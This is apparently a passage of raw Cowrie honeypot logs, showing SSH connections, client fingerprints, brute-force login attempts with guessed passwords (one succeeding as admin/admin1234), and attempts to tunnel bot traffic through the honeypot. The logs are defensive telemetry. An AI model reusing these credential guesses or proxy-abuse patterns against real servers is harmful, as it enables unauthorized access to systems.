f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:33.382477Z","src_ip":"41.90.100.147","session":"1bbff105f0c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":63398,"dst_ip":"10.17.0.5","dst_port":22,"session":"7de55be79752","protocol":"ssh","message":"New connection: 173.208.188.210:63398 (10.17.0.5:22) [session: 7de55be79752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:34.039847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:34.044726Z","src_ip":"173.208.188.210","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:34.217000Z","src_ip":"173.208.188.210","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dan","password":"password","message":"login attempt [dan/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:34.391371Z","src_ip":"41.90.100.147","session":"1bbff105f0c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":4681,"dst_ip":"159.203.135.109","dst_port":22,"session":"398c0d227c24","protocol":"ssh","message":"New connection: 49.247.37.22:4681 (159.203.135.109:22) [session: 398c0d227c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:34.445636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:34.450791Z","src_ip":"49.247.37.22","session":"398c0d227c24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:34.509873Z","src_ip":"14.103.113.53","session":"21503dd5e965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:34.662963Z","src_ip":"49.247.37.22","session":"398c0d227c24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k9jt3d","message":"login attempt [root/k9jt3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:35.510321Z","src_ip":"49.247.37.22","session":"398c0d227c24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:35.607893Z","src_ip":"41.90.100.147","session":"1bbff105f0c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:36.723138Z","src_ip":"49.247.37.22","session":"398c0d227c24","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:36.975800Z","src_ip":"173.208.188.210","session":"7de55be79752","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:37.737727Z","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:37.782686Z","src_ip":"63.141.242.2","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.150 Mobile/14A551 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=WVU%2BK31tJCY5JlRudHdxKQ%3D%3DXzC8A4kUvLkR1MtUUF9CKorH7nZblQ4yrK4l7ujvJGA54deotPuPpyNP5eRotDxaQxOaE87n1UO%2FYbsr3WiUQwLc9gLu124IqydGMGoMO7cQTI8GMAoIb9yyk9tTF%2F7P35LfOxYj0pSlxDt2RuZajb9ql5AHA6UCOyrW59YX8oG0IgF3ARkg5BZhuE5oQaNtLdbTbc%2BRAHQxqIn8CHxAcmJukyK%2BkTso3Nd2m%2BQ3q5M5oho%2BfGY4G15YLcECD9KQNwkvLD3U3YUpKoXFfRWdC8h9CV0KUfILlxH%2B14l90%2F4x224wEacIE3icPH7xFJ9dZsZj%2Frh02M4Odh0O8u3TYf%2FAwJoxyLSXIaBoLA0hi9wIV5m%2FI5u%2BZOy1T%2B%2BlylSYsCKS4r%2F2iiFXIvhsRfozJbTxUuJNvxZbCD8xKlra%2B0AoFuqxxBggt8uGJht2XL56jKul9oTaDkFDPu1lDU79kD6zsjBLx08MZyWS4OoSG16jp6QVTgRZQHqXPLMKYZlFD9HB81nVOBlTtrvuJDcrQ4PoqCJ9E6rhWp9ECSnKhZcar20CwkG2an4CfxZMeTw%2FJw5OcLCBP%2BjWQnCIHTUvW3Zud7sewjQBIBi9PDvgn6F0u0n0wodS8IUW1Fdy5O2mGcaJTwkjnmCC7VMbk4lUaYbaZzJxZRK6R7Hgofb%2B28A9lZIUbgvLnsHcgifd5w2hGnxIaq8uK6LmyoyJmnUHdqRmNiggCOA1LkC7MHs9FhilEaS%2FG1xxtdhYayXfQ14YBRE2LH4yx4RHZoRfp2NDgoQE64bzFqpnK0AKjWZKSbL6bqRR99bgUXH0vMUMaj2f%2FS%2FfDjlivuhW%2FerZ6vDpGzfdXoMk2TB5lycaEos2ZvsV0Z%2BacoObphJxJWxoGy61HpBdwb6DHRd0M9oousGcWXu8y7U%2FAuptkVwmq97oxE%2FycQ036q%2FnHrJa57gYiQmHgiJpQw%2B41DBBnWu0aLrzMi%2FncVPBEL1tnuhgWdSAQtv2yg%2F4GMangxpdQ0NI0vxAY5XuIEtsSjDoYVe%2FuJPTZSKkl2MNqINPe0VeyqZtV%2FA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.150 Mobile/14A551 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=WVU%2BK31tJCY5JlRudHdxKQ%3D%3DXzC8A4kUvLkR1MtUUF9CKorH7nZblQ4yrK4l7ujvJGA54deotPuPpyNP5eRotDxaQxOaE87n1UO%2FYbsr3WiUQwLc9gLu124IqydGMGoMO7cQTI8GMAoIb9yyk9tTF%2F7P35LfOxYj0pSlxDt2RuZajb9ql5AHA6UCOyrW59YX8oG0IgF3ARkg5BZhuE5oQaNtLdbTbc%2BRAHQxqIn8CHxAcmJukyK%2BkTso3Nd2m%2BQ3q5M5oho%2BfGY4G15YLcECD9KQNwkvLD3U3YUpKoXFfRWdC8h9CV0KUfILlxH%2B14l90%2F4x224wEacIE3icPH7xFJ9dZsZj%2Frh02M4Odh0O8u3TYf%2FAwJoxyLSXIaBoLA0hi9wIV5m%2FI5u%2BZOy1T%2B%2BlylSYsCKS4r%2F2iiFXIvhsRfozJbTxUuJNvxZbCD8xKlra%2B0AoFuqxxBggt8uGJht2XL56jKul9oTaDkFDPu1lDU79kD6zsjBLx08MZyWS4OoSG16jp6QVTgRZQHqXPLMKYZlFD9HB81nVOBlTtrvuJDcrQ4PoqCJ9E6rhWp9ECSnKhZcar20CwkG2an4CfxZMeTw%2FJw5OcLCBP%2BjWQnCIHTUvW3Zud7sewjQBIBi9PDvgn6F0u0n0wodS8IUW1Fdy5O2mGcaJTwkjnmCC7VMbk4lUaYbaZzJxZRK6R7Hgofb%2B28A9lZIUbgvLnsHcgifd5w2hGnxIaq8uK6LmyoyJmnUHdqRmNiggCOA1LkC7MHs9FhilEaS%2FG1xxtdhYayXfQ14YBRE2LH4yx4RHZoRfp2NDgoQE64bzFqpnK0AKjWZKSbL6bqRR99bgUXH0vMUMaj2f%2FS%2FfDjlivuhW%2FerZ6vDpGzfdXoMk2TB5lycaEos2ZvsV0Z%2BacoObphJxJWxoGy61HpBdwb6DHRd0M9oousGcWXu8y7U%2FAuptkVwmq97oxE%2FycQ036q%2FnHrJa57gYiQmHgiJpQw%2B41DBBnWu0aLrzMi%2FncVPBEL1tnuhgWdSAQtv2yg%2F4GMangxpdQ0NI0vxAY5XuIEtsSjDoYVe%2FuJPTZSKkl2MNqINPe0VeyqZtV%2FA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:37.785768Z","src_ip":"63.141.242.2","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48228,"dst_ip":"159.203.135.109","dst_port":23,"session":"59827a7b83e3","protocol":"telnet","message":"New connection: 128.199.8.54:48228 (159.203.135.109:23) [session: 59827a7b83e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:40.344106Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:42.872221Z","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:42.914532Z","src_ip":"63.141.242.2","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x89P\\x9c\\x82\\t\\xdeE\\xd2\\xf6\\x1d\\x05\\x92:\\x964w\\xe2i\\xa44\\xcb\\n\\xe1\\xd0\\xc2\\'\\xe1\\x11\\x12,\\\\~ E\\x1f\\xf82\\xeb\\xee@8]%\\xaaE\\xe8\\xbf\\x86w\\xecpB\\xea\"1y\\xdcP\\x8cP\\'\\xa1|\\xf7\\xe7\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf2\\xfd\\x18\\xbd\\xc2[\\xda\\xeb\\n\\xf5\\xce\\xd8\\xafT\\xc5\\x84\\xd34Q\\xf3p\\x941e\\x98\\t\\x96\\xa1D1\\xbcI\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x89P\\x9c\\x82\\t\\xdeE\\xd2\\xf6\\x1d\\x05\\x92:\\x964w\\xe2i\\xa44\\xcb\\n\\xe1\\xd0\\xc2\\'\\xe1\\x11\\x12,\\\\~ E\\x1f\\xf82\\xeb\\xee@8]%\\xaaE\\xe8\\xbf\\x86w\\xecpB\\xea\"1y\\xdcP\\x8cP\\'\\xa1|\\xf7\\xe7\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf2\\xfd\\x18\\xbd\\xc2[\\xda\\xeb\\n\\xf5\\xce\\xd8\\xafT\\xc5\\x84\\xd34Q\\xf3p\\x941e\\x98\\t\\x96\\xa1D1\\xbcI\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:42.918164Z","src_ip":"63.141.242.2","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:42.978719Z","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:43.015643Z","src_ip":"63.141.242.2","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0f]\\xa0\\xbb\\xe9\\xd2)i\\xcc\\xa6M\\xb2\\xc7\\xf18w\\xc7\\xde\\xeb\\x1d\\xb1\\xefX\\xf5\\xd5o%\\x82\\xf5K\\xf69 \\x11\\x00\\x03|\\xe3\\xf9y\\xf5\\t\\xbb\\xf55;5\\xf8\\xad$\\x04i\\xe0\\xfe\\xe9\\xc6\\xf43vh\\xc3#\\x0bQ\\xa1\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 #\\x15`B\\xe6(28\\xd1\\x01\\xa6G9)\\x13\\xdboD\\x1f\\xd5\\x9c\\xf1|\\xe8\\x9e:\\x9d\\xd4B\\xdaG\\x18\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0f]\\xa0\\xbb\\xe9\\xd2)i\\xcc\\xa6M\\xb2\\xc7\\xf18w\\xc7\\xde\\xeb\\x1d\\xb1\\xefX\\xf5\\xd5o%\\x82\\xf5K\\xf69 